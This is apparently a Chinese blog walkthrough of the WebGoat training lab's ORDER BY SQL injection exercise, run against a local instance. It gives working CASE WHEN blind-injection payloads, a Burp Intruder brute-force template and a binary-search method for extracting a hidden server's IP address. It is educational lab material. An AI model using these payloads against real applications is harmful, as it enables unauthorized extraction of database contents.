1015.WebGoat SQL注入之 Order by注入解題思路

★ Order by 注入
本文所說的 Order by注入的題目在:Injection Flaws -> SQL injection(mitigation) -> 第8頁的題目。網址爲:
http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/7web

思路在第7頁,即利用case when語法來達到sql注入。
語法:select * from users order by (case when (true) then lastname else firstname end)
須要利用的是when (true)中的真假判斷。
注意:case語句結尾要有end。sql

題目要求獲取主機名爲webgoat-prd的服務器的IP地址,並且題目中提示了Submit 不存在SQL 注入。c#

此題有些相似於SQL 盲注,須要經過when (true)中的真假來判斷IP地址的每一位是多少。下面一步步來講明。瀏覽器

★ 經過HTTP proxy工具截獲http請求
我用的是burpsuite的free版,對於這道題是夠用了。服務器

須要在Internet Options中設置代理爲 127.0.0.1,端口8090(任意指定,不要與現有其餘端口衝突)。mvc

而後在Burpsuite 的Proxy中設置代理,這個網上有一大堆教程能夠參考,這裏暫不細寫。app

抓到的數據包:(按照不一樣的列排序)less

按hostname排序:
GET /WebGoat/SqlInjection/servers?column=hostname HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
Connection: close工具

按ip排序
GET /WebGoat/SqlInjection/servers?column=ip HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
Connection: close測試

按mac排序
GET /WebGoat/SqlInjection/servers?column=mac HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
Connection: close

按status排序
GET /WebGoat/SqlInjection/servers?column=status HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
Connection: close
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
咱們天然的聯想到 column參數的值就是 order by的參數。

正確的查詢語句,能夠查詢到內容。例如,http://127.0.0.1:8080/WebGoat/SqlInjection/servers?column=ip 的結果爲:

[ {
"id" : "2",
"hostname" : "webgoat-tst",
"ip" : "192.168.2.1",
"mac" : "EE:FF:33:44:AB:CD",
"status" : "online",
"description" : "Test server"
}, {
"id" : "3",
"hostname" : "webgoat-acc",
"ip" : "192.168.3.3",
"mac" : "EF:12:FE:34:AA:CC",
"status" : "offline",
"description" : "Acceptance server"
}, {
"id" : "1",
"hostname" : "webgoat-dev",
"ip" : "192.168.4.0",
"mac" : "AA:BB:11:22:CC:DD",
"status" : "online",
"description" : "Development server"
}, {
"id" : "4",
"hostname" : "webgoat-pre-prod",
"ip" : "192.168.6.4",
"mac" : "EF:12:FE:34:AA:CC",
"status" : "offline",
"description" : "Pre-production server"
} ]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
若是不肯定的話,咱們能夠傳一個任意值試試,例如,使用http://127.0.0.1:8080/WebGoat/SqlInjection/servers?column=test 訪問,瀏覽器返回的結果爲:

Whitelabel Error Page
This application has no explicit mapping for /error, so you are seeing this as a fallback.

Tue Sep 18 22:17:08 GMT+08:00 2018
There was an unexpected error (type=Internal Server Error, status=500).
user lacks privilege or object not found: TEST in statement [select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by test]
1
2
3
4
5
6
能夠看到,這裏的sql語句爲: select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by test,咱們傳給column的值test最終是order by的參數。
這個sql語句也給出了不少信息(因此此題還算不上SQL盲注),例如列名有 id, hostname, ip, mac, status, description, 表名爲servers ,而且查詢的是status不爲’out of order’ 的信息,這也可讓咱們推測到,主機名爲webgoat-prd的服務器的status是’out of order’ ,因此正常查詢是查詢不到主機名爲webgoat-prd的服務器的。

★ 關鍵信息: select * from users order by (case when (true) then lastname else firstname)
這是WebGoat的重要提示,而咱們要利用的偏偏是when的條件when (true/false)。

首先,先把完整的sql語句寫出來(根據上面的錯誤提示):
select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by <注入點>
<注入點>採用case when,因此整個sql語句爲:

select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by case when (true/false) then hostname else id end
1
即,若是when中的條件爲true,按hostname排序,不然按id排序。
必定要注意:then後面和else後面的列名是合法的,不然sql語句會出錯。

因此,結果若是是按hostname排序,就知道when的條件爲true,若是是按id排序,那麼when的條件爲false。這點要記清楚。

★ 構造 when 的條件
直截了當,判斷主機名爲webgoat-prd的服務器的IP地址的每一位是多少。

獲取主機名爲webgoat-prd的服務器的IP地址:select ip from servers where hostname='webgoat-prd'

判斷第一位是否是1:substring((select ip from servers where hostname='webgoat-prd'),1,1)=1

而後將這個判斷放到when的條件中,整個URL爲:

127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when (substring((select ip from servers where hostname=‘webgoat-prd’),1,1)=1) then hostname else id end)
在瀏覽器中打開,能夠看到結果是按hostname排序的,說明IP地址的第一位是1.

而後就能夠一位一位的去試了。手動去試比較繁瑣,可使用Burpsuite的Intruder來暴力破解。

★ Burpsuite Intruder 暴力破解
Positions配置以下:
第一個payload是IP的下標,從1開始的,必定要注意是從1開始。下標最大是15(4個三位數加上3個點)。
第二個payload是0~9的值,這裏沒有判斷點號,最後只要取按hostname排序的response就知道那些正確的位是多少了。

注意: 須要將空格寫成%20,將單引號寫成%27,不然Intruder中跑不過。切記切記。
最好將輸入寫到瀏覽器中執行,而後去Burpsuite的Proxy中的HTTP history中看看結果。而後將HTTP請求拷貝過來。這樣能夠減小出錯的機會。

GET /WebGoat/SqlInjection/servers?column=(case%20when%20((select%20substring(ip,§1§,1)%20from%20servers%20where%20hostname=%27webgoat-prd%27)=§2§)%20then%20hostname%20else%20id%20end) HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=DC012A04A1BADE2548747AC22CBE18F9
Connection: close

1
2
3
4
5
6
7
8
9
10
在正確的response 的comment列寫上說明,好過濾。例如:寫上yes,而後選中『Show only commented items』,如圖:

 

最終結果以下:

 

能夠看到IP地址爲 104.130.219.202
Congratulations!

★ SQL語句
when條件爲true的全部SQL語句爲:(在瀏覽器中使用,切不可直接拷貝到Burpsuite中)

127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,1,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,2,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,3,1) from servers where hostname='webgoat-prd')=4) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,4,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,5,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,6,1) from servers where hostname='webgoat-prd')=3) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,7,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,8,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,9,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,10,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,11,1) from servers where hostname='webgoat-prd')=9) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,12,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,13,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,14,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,15,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
須要說明的是,(select substring(ip,1,1) from servers where hostname='webgoat-prd')=1 與 substring((select ip from servers where hostname = 'webgoat-prd'), 1,1)=1是等價的。
因此上面的SQL語句採用了2種寫法。

即這兩種寫法都是能夠的:(在Chrome瀏覽器上測試經過)
寫法一:127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when (substring((select ip from servers where hostname = ‘webgoat-prd’), 1,1)=1) then hostname else id end)

寫法二:127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,1,1) from servers where hostname=‘webgoat-prd’)=1) then hostname else id end)

★ 更進一步
暴力破解使用的HTTP請求太多了,有沒有辦法在減小HTTP請求的狀況下,獲得IP地址的每一位?
答案是能夠,經過二分搜索的方式能夠減小不少無用的HTTP請求。IP地址的每一位取值爲0到9. 以IP地址的第一位爲例,有效值範圍爲0到9,第一次能夠跟(0+9)/2=4 (取整)比較。
(select substring(ip,1,1) from servers where hostname='webgoat-prd')>4 根據排序的結果,能夠知道條件爲true仍是false。咱們已經知道了IP地址第一位爲1,即便咱們不知道IP地址爲1,經過數據是按id排序的,咱們也能夠知道sql語句的條件是false。比較結果爲false,那麼有效值範圍縮小爲0到4.

再跟(0+4)/2=2比較,(select substring(ip,1,1) from servers where hostname='webgoat-prd')>2,結果爲false(由於數據以id排序),有效值範圍爲0到2。

再跟(0+2)/2=1比較,(select substring(ip,1,1) from servers where hostname='webgoat-prd')>1結果爲false,有效值範圍爲0和1 。

再跟(0+1)/2= 0比較,(select substring(ip,1,1) from servers where hostname='webgoat-prd')>0,結果爲true,即以hostname排序了。有效值只剩下1了。因此知道IP地址的第一位是1了。

對於IP地址的第一位,採用4次HTTP請求就獲得了,不用比較10次了。
IP地址的其餘位,以此類推。

整個過程,能夠寫成腳本,方便之後複用。

相關文章
相關標籤/搜索